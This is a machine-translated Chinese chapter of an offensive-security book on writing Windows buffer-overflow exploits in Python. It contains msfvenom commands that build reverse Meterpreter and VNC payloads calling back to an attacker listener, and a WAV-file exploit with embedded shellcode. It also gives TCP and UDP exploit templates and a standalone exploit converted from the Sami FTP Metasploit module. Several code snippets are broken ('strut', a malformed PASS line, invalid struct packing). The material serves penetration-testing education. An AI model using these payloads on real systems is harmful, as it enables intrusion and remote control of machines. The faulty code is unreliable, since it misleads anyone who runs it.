然后,我们生成新的 shell 代码 awindows/meterpreter/reverse_nonx_tcp并用它替换计算器代码。我们选择这种有效负载类型是因为它是一个非常小的计量器,这意味着因为我们知道我们的内存占用可能是有限的,所以我们有更好的机会成功利用此漏洞。

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -f c -b '\x00\xff\x01\x09\x0a\x0d'

提示

这些示例中还列出了其他错误字符。出于习惯,我通常在生成有效负载时保留这些。请记住,错误字符越多,编码器就越需要添加执行功能等效操作的操作。这意味着编码越多,负载通常越大。

命令的输出如下,其大小仅为 204 字节:

Writing a basic buffer overflow exploit

当放入攻击代码时,我们会得到以下 Python 攻击:

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =("\xba\x16\xdf\x1b\x5d\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x2d\x31\x56\x13\x83\xc6\x04\x03\x56\x19\x3d\xee\xa1\x4f\x2a"
"\x56\xb2\x76\x53\xa6\xbd\xe8\x9d\x82\xc9\x95\xe1\xbf\xb2\x58"
"\x62\xc1\xa5\x29\xc5\xe1\x38\xc7\x61\xd5\xa0\x16\x98\x27\x15"
"\x81\xc8\x89\x5f\xbc\x11\xc8\xe4\x7e\x64\x3a\xa7\x18\xbe\x08"
"\x5d\x07\x8b\x07\xd1\xe3\x0d\xf1\x88\x60\x11\x58\xde\x39\x36"
"\x5b\x09\xc6\x6a\xc2\x40\xa4\x56\xe8\x33\xcb\x77\x21\x6f\x57"
"\xf3\x01\xbf\x1c\x43\x8a\x34\x52\x58\x3f\xc1\xfa\x68\x61\xb0"
"\xa9\x0e\xf5\x0f\x7f\xa7\x72\x03\x4d\x68\x29\x85\x08\xe4\xb1"
"\xb6\xbc\x9c\x61\x1a\x13\xcc\xc6\xcf\xd0\xa1\x41\x08\xb0\xc4"
"\xbd\xdf\x3e\x90\x12\x86\x87\xf9\x4a\xb9\x21\x63\xcc\xee\xa2"
"\x93\xf8\x78\x54\xac\xad\x44\x0d\x4a\xc6\x4b\xf6\xf5\x45\xc5"
"\xeb\x90\x79\x86\xbc\x02\xc3\x7f\x47\x34\xe5\xd0\xf3\xc6\x5a"
"\x82\xac\x85\x3c\x9d\x92\x12\x3e\x3b")
nop = "\x90"*(available_shellcode_space-len(shell)-len(offset))
exploit = fill + eip + offset + shell + nop
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

执行时,我们得到以下结果,显示漏洞生成外壳:

Writing a basic buffer overflow exploit

现在,这个例子很简单,它可能会为系统提供一个本地攻击,但是有一个问题,我们的攻击失败了,因为它耗尽了空间。如前所述,我们必须调整放置 shell 代码的区域。

了解堆叠调整

我们向展示了代码执行在攻击过程中失败,因为我们的第二阶段在内存中破坏了第一阶段的代码。因此,我们需要更多的堆栈空间来完成此攻击。我们可以在必要时将代码拆分到内存中,也可以简单地扩展堆栈中的空间。

这是通过告诉系统向 ESP 添加空间来完成的。您可以通过以下两种方式之一来完成:添加负空间或减去正空间。这是因为正如我们前面提到的,堆栈从高地址增长到低地址。

Understanding stack adjustments

因此,我们看到我们正在利用此漏洞攻击外壳代码,因此我们可以通过告诉 ESP 移动以容纳必要的空间来进行补偿。

Understanding stack adjustments

为此,我们需要在外壳代码的前面添加一个十六进制调整。我们将用两种不同的方式来实现这一点。我们将在本节中重点介绍的第一种方法。然后,我们将在反转 Metasploit 有效负载时解释第二种方式。首先,我们需要弄清楚如何调整实际堆栈;我们可以通过nasm_shell.rb in the /usr/share/metasploit-framework/tools/nasm_shell.rb来实现这一点。

堆栈调整 80000 意味着我们要将该值添加到 ESP。为此,我们需要计算 80000 的 ESP 调整,但对于该计算,我们需要将 80000 更改为十六进制值。十六进制的等价物是 13880。

Understanding stack adjustments

提示

您可以使用内置的 Windows 计算器在科学模式下从十进制更改为十六进制,反之亦然。

这意味着我们将以下代码添加到我们的漏洞中以调整堆栈adjustment = struct.pack('<I',0x81EC80380100)。然后,我们在外壳代码前面加上调整值exploit = fill + eip + offset + adjustment + shell。最后,我们移除 NOP 底座,因为这并没有填充我们的第二阶段将包含的空间,最终的代码将类似于此。

#!/usr/bin/env python
import struct
filename="exploit.wav"
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
adjustment = struct.pack('<I',0x81EC80380100)
shell =("\xba\x16\xdf\x1b\x5d\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x2d\x31\x56\x13\x83\xc6\x04\x03\x56\x19\x3d\xee\xa1\x4f\x2a"
"\x56\xb2\x76\x53\xa6\xbd\xe8\x9d\x82\xc9\x95\xe1\xbf\xb2\x58"
"\x62\xc1\xa5\x29\xc5\xe1\x38\xc7\x61\xd5\xa0\x16\x98\x27\x15"
"\x81\xc8\x89\x5f\xbc\x11\xc8\xe4\x7e\x64\x3a\xa7\x18\xbe\x08"
"\x5d\x07\x8b\x07\xd1\xe3\x0d\xf1\x88\x60\x11\x58\xde\x39\x36"
"\x5b\x09\xc6\x6a\xc2\x40\xa4\x56\xe8\x33\xcb\x77\x21\x6f\x57"
"\xf3\x01\xbf\x1c\x43\x8a\x34\x52\x58\x3f\xc1\xfa\x68\x61\xb0"
"\xa9\x0e\xf5\x0f\x7f\xa7\x72\x03\x4d\x68\x29\x85\x08\xe4\xb1"
"\xb6\xbc\x9c\x61\x1a\x13\xcc\xc6\xcf\xd0\xa1\x41\x08\xb0\xc4"
"\xbd\xdf\x3e\x90\x12\x86\x87\xf9\x4a\xb9\x21\x63\xcc\xee\xa2"
"\x93\xf8\x78\x54\xac\xad\x44\x0d\x4a\xc6\x4b\xf6\xf5\x45\xc5"
"\xeb\x90\x79\x86\xbc\x02\xc3\x7f\x47\x34\xe5\xd0\xf3\xc6\x5a"
"\x82\xac\x85\x3c\x9d\x92\x12\x3e\x3b")
exploit = fill + eip + offset +adjustment + shell
open('exploit.wav', 'w').close()
writeFile = open (filename, "w")
writeFile.write(exploit)
writeFile.close()

然而,这种方法存在一个问题。如果堆栈调整中有坏字符,则需要通过编码来消除这些字符。由于您通常不会在以后修改堆栈调整,因此可以将其作为 shell 的一部分,并对整个代码块进行编码。我们将在反转 Metasploit 模块时完成该过程。

提示

确保在代码中添加有关堆栈调整的注释;否则,当您尝试扩展此漏洞或使用其他有效负载时,您将非常沮丧。

作为一个附带的好处,如果我们使用这种方法而不是使用 NOP 滑橇,那么 HIPS 就不太可能捕获该漏洞。现在,我们已经完成了所有这些,认识到有一种更简单的方法可以使用标准负载获得访问权限。

提示

如果您仍然需要 NOP 进行真正的攻击,请确保使用 Metasploit 提供的 NOP 生成器。代码不使用“\x90”指令,而是执行无意义的数学运算。它们占用堆栈上的空间并提供相同的功能。

了解本地开发的目的

需要注意的是通过在系统上执行有效负载可以实现相同的访问。生成这样的有效载荷只需要我们运行以下命令:

msfvenom -p windows/meterpreter/reverse_nonx_tcp lhost=192.168.195.169 lport=443 -b '\x00' -f exe -o /tmp/exploit.exe

然后,使用以下命令启动 Python web 服务器:

python -m SimpleHTTPServer

下图突出显示了相关命令的输出:

Understanding the purpose of local exploits

然后,通过系统上的浏览器下载并执行有效负载,以获得所需的结果。

Understanding the purpose of local exploits

所以你可能会问自己,为什么我们要创造这个漏洞呢?如果我们刚刚创建此漏洞利用的软件是以管理员身份运行的,而不是以我们登录的用户身份运行的,那么利用此解决方案将更加有用。虽然这种情况不太可能发生,但该计划的性质是不可能的。因此,为利用此漏洞生成 Metasploit 模块不是很有用。考虑一下,这个练习是一个很好的机会来写你的第一个漏洞。

在编写漏洞攻击时,还有一个考虑因素,那就是根据您的漏洞攻击可能不可靠的程序而定。这意味着,由于代码的细微差别,您的漏洞利用可能会持续工作,也可能不会持续工作。因此,在实际组织中执行之前,您必须在实验室环境中进行实质性测试。

了解其他利用漏洞脚本

除了编写可以上传到程序中的恶意文件外,您可能还必须生成代码,通过接受参数、TCP 服务甚至 UDP 服务的独立程序与服务进行交互。考虑一下我们刚才开发的程序,如果它在本质上是不同的,我们仍然可以利用它,只是脚本与它交互的方式会有所不同。下面的三个示例显示了如果代码满足这些标准中的任何一个,它将是什么样子。当然,内存地址和大小必须根据您可能遇到的其他程序进行调整。

通过执行脚本利用独立二进制文件

我们甚至可以创建 Python 脚本来包装传递了参数的程序。通过这种方式,您可以使用包装器脚本构建漏洞利用,该脚本将注入代码,如下所示:

import subprocess, strut
program_name = 'C:\exploit_writing\vulnerable.exe'
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =() #Code to insert
remaining space
exploit = fill + eip + offset + shell
subprocess.call([program_name, exploit])

这种形式的攻击是你遇到的最罕见的,因为它通常不会授予你任何额外的权利。在创建此类漏洞利用时,通常要查看通过白名单程序与用户级权限授予您的其他访问权限。请记住,这种类型的攻击比恶意文件、TCP 或 UDP 服务更难编写。另一方面,您可能会编写的最常见的攻击是 TCP 服务攻击。

利用 TCP 服务开发系统

大多数情况下,您会遇到可以通过 TCP 利用的服务。这意味着,为了进行分析,您必须设置一个测试盒,该测试盒具有豁免权或其他调试器,并且服务正在运行。您必须对该服务附加豁免权,并像以前一样测试您的漏洞。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.169"
rport = 23
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.sendto(exploit, (rhost, rport))

如果第 7 章用 Python破解外围的 TFTP 服务容易受到潜在的缓冲区溢出攻击,我们会考虑为 UDP 服务创建漏洞攻击。

利用 UDP 服务开发系统

为 UDP 服务生成漏洞非常类似于 TCP 服务。唯一的区别是您使用的是不同的通信协议。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.169"
rport = 69
fill ="A"*4112
eip = struct.pack('<I',0x7C874413)
offset = "\x90"*10
available_shellcode_space = 320
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(exploit, (rhost, rport))

现在,您已经了解了您可能编写的最常见的漏洞利用类型的基础知识,让我们看看如何反转 Metasploit 模块。

反向 Metasploit 模块

很多时候您可能会发现某个服务是可利用的,但 Metasploit 模块不是为利用该服务版本或特定操作系统版本而构建的。这并不少见,只要回想一下之前编写的漏洞。根据可能引用的 DLL,可能不会针对特定操作系统更新模块。此外,如果操作系统的更新版本问世,并且该程序或服务仍然可行,则可能需要扩展该模块。

回想一下第 5 章使用 Python开发服务,以及我们是如何研究内核是否易受攻击的。考虑如何进行类似的研究可能导致对潜在缓冲区溢出漏洞的引用。您可以从头开始,也可以将 Metasploit 模块反向转换为独立的 Python 脚本,并轻松测试扩展的功能。然后,您可以将更改合并到 Metasploit 模块中,甚至创建自己的模块。

我们将反转 Sami FTP 服务器 2.0.1 的 Metasploit 模块,这在概念上与实际相反。为简洁起见,我们不打算展示该漏洞的全部代码,但您可以在/usr/share/metasploit-framework/modules/exploits/windows/ftp的 Metasploit 安装中检查它。有关此模块的更多详细信息,请参见http://www.rapid7.com/db/modules/exploit/windows/ftp/sami_ftpd_list

反转 Metasploit 模块时要做的第一件事是设置实际的漏洞利用。这将揭示利用实际服务需要设置的必要参数。如您所见,我们需要用户名、密码和相关负载。

Reversing Metasploit modules

接下来,我们看一下实际有效载荷;我发现将其复制到记事本++之类的代码编辑器中更容易。这允许您查看通常需要的括号和轮廓。与以前编写漏洞利用的示例不同,我们将从实际的外壳代码开始,因为这将花费最多的精力。那么,看看实际 Metasploit 模块的有效负载部分。

Reversing Metasploit modules

如您所见,堆栈调整为 3500,以更准确地适应外壳代码的放置。您可以使用上面突出显示的相同方法再次计算该值。在较新的 Metasploit 模块中,您将看到带正负值的StackAdjustment而不是PrependEncoder。因此,作为模块开发人员,您不必实际计算十六进制代码。

-3500的堆栈调整意味着我们将此值添加到 ESP。为此,我们需要计算-3500的 ESP 调整,但对于该计算,我们需要将-3500更改为十六进制值。十六进制等价物为-0xDAC

Reversing Metasploit modules

现在,我们将调整数据打印到一个十六进制文件中。

Reversing Metasploit modules

正如您在模块的有效负载部分所看到的,存在已知的错误字符。当我们生成初始有效载荷时,我们将把它们合并到有效载荷生成中。现在,我们用这些特性生成有效负载。

msfvenom -p windows/vncinject/reverse_http lhost=192.168.195.172 lport=443 -b '\x00\x0a\x0d\x20\x5c' -f raw -o payload

Reversing Metasploit modules

我们验证有效负载是通过hexdump命令生成的。

hexdump -C payload

下图显示了该有效载荷的输出:

Reversing Metasploit modules

要结合堆栈调整代码和实际有效负载,我们可以执行下图中突出显示的方法,该方法显示了此命令的简单性:

Reversing Metasploit modules

执行此操作后,我们验证两个组件的组合,如您所见,调整十六进制代码放置在外壳代码的前面。

Reversing Metasploit modules

现在,将数据编码为脚本的可用格式,以删除我们通常知道的坏字符。

cat shellcode |msfvenom -b "\x00\xff\x01\x09\x0a\x0d" -e x86/shikata_ga_nai -f c --arch x86 --platform win

结果输出为将用于此攻击的实际外壳代码:

Reversing Metasploit modules

现在,我们可以开始使用 Metasploit 模块中的所有功能来设计我们的漏洞。我们将使用目标代码来提取OffsetRet数据。Ret保存 EIP 的返回地址,Offset提供调整外壳代码位置所需的数据。

Reversing Metasploit modules

生成我们利用的返回地址组件非常简单。

eip = struct.pack('<I',0x10028283)

每个模块的偏移设置可能不同,您可能需要执行其他数学运算以获得正确的值。因此,请始终查看突出显示的实际利用代码,如下所示:

Reversing Metasploit modules

我们看到偏移量的长度从大小中删除了 IP 地址。这将创建一个更新的偏移值。

offset = 228 - len(lhost)

我们可以看到垃圾数据是由随机文本生成的。因此,我们可以以类似的方式生成 NOP。

nop = "\x90" *16

接下来,我们需要创建注入漏洞代码的操作顺序。

exploit = offset + eip + nop + shell

正如您所看到的,使用前面几节中使用的知识非常直接。最后一个组件是设置处理程序以与 FTP 服务交互。

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((rhost, rport))
print(client.recv(1024))
client.send("USER " + username + "\r\n")
print(client.recv(1024))
client.send("PASS "password + "\r\n")
print(client.recv(1024))
print("[*] Sending exploit")
client.send("LIST" + exploit + "\r\n")
print(client.recv(1024))
client.close()

最终的结果是一个可以在实际服务器上测试和运行的 Python 漏洞。这也为测试提供了一个很好的起点。如果您发现 Metasploit 模块不能完美地工作,那么将其反转以创建独立模块将为您提供解决可能问题的机会。

请记住,漏洞利用有一个评估系统,可以评估它们的可靠性。如果该漏洞具有较低的可靠性等级,则意味着它可能无法始终如一地产生所需的结果。这使您有机会尝试并改进实际的 Metasploit 模块,并为社区做出贡献。例如,此漏洞的评级较低;考虑测试并尝试改进它。

import sys, socket, strut
rhost = "192.168.195.159"
lhost = "192.168.195.172"
rport = 21
password = "badpassword@hacku.com"
username = "anonymous"
eip = struct.pack('<I',0x10028283)
offset = 228 - len(lhost)
nop  = "\x90" *16
shell =() #Shellcode was not inserted to save space
exploit = offset + eip + nop + shell
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((rhost, rport))
print(client.recv(1024))
client.send("USER " + username + "\r\n")
print(client.recv(1024))
client.send("PASS "password + "\r\n")
print(client.recv(1024))
print("[*] Sending exploit")
client.send("LIST" + exploit + "\r\n")
print(client.recv(1024))
client.close()
print("[*] Sent exploit to %s on port %s") % (rhost,rport)

现在,这个特定的漏洞是为 Windows XP SP 3 开发的。您现在可以使用此代码尝试并针对不同的平台。独立的 Python 攻击意味着您具有扩展该攻击的必要能力。然后可以向 Metasploit 模块添加其他目标。这可以通过修改模块的以下部分来完成。

Reversing Metasploit modules

以下是如何使用其他相关目标更新实际模块中的代码:

'Targets'        =>
        [
          [ 'Sami FTP Server 2.0.1 / Windows XP SP 3',   { 'Ret' => 0x10028283, 'Offset' => 228 } ],
          [ 'New Definition', { 'Ret' => 0x#######, 'Offset' => ### } ],

从这个例子中,我们看到了如何反转 Metasploit 模块以创建独立的漏洞利用,该漏洞利用可用于扩展目标选择并提高未来漏洞利用的可靠性。

如果选择创建具有不同功能的新 Metasploit 模块或更新,并且不希望中断当前安装,则可以将自定义模块加载到 Metasploit 中。以下位置详细记录了这些细节 https://github.com/rapid7/metasploit-framework/wiki/Loading-External-Modules

了解保护机制

有整本书专门介绍了管理员和开发人员使用的一些工具,这将防止许多漏洞利用。它们包括诸如数据执行预防DEP等项,如果代码和操作系统配置为利用它,这些项将阻止像我们这样的代码工作。这是通过阻止在堆栈上执行数据来实现的。我们可以通过简单地覆盖结构化异常处理SEH来绕过 DEP,以运行我们自己的代码。

堆栈金丝雀,基本上是堆栈中的数学结构,在调用返回指针时进行检查。如果值已更改,则表示出现了问题,并引发异常。如果攻击者确定防护正在检查的值,则可以将其注入外壳代码以防止出现异常。

最后,还有地址空间层随机化ASLR),它随机化我们利用的内存中的位置。ASLR 比其他两个更难击败,但它基本上是通过使用共享库的组件在内存中构建漏洞来击败的,这些组件必须保持一致的内存位置。如果没有这些一致的共享库,操作系统将无法最初执行基本流程。这种技术被称为面向返回的编程ROP链接。

总结

在本章中,我们概述了 Windows 内存结构以及如何利用糟糕的编码实践。然后,我们重点介绍了如何使用目标测试和概念验证代码,使用 Python 代码生成您自己的漏洞利用。本章接着全面介绍了如何逆转 Metasploit 模块,以创建可用于改进当前模块功能或生成新漏洞的独立漏洞利用。在下一章中,我们将重点介绍如何自动报告渗透测试期间发现的详细信息,以及如何解析可扩展标记语言XML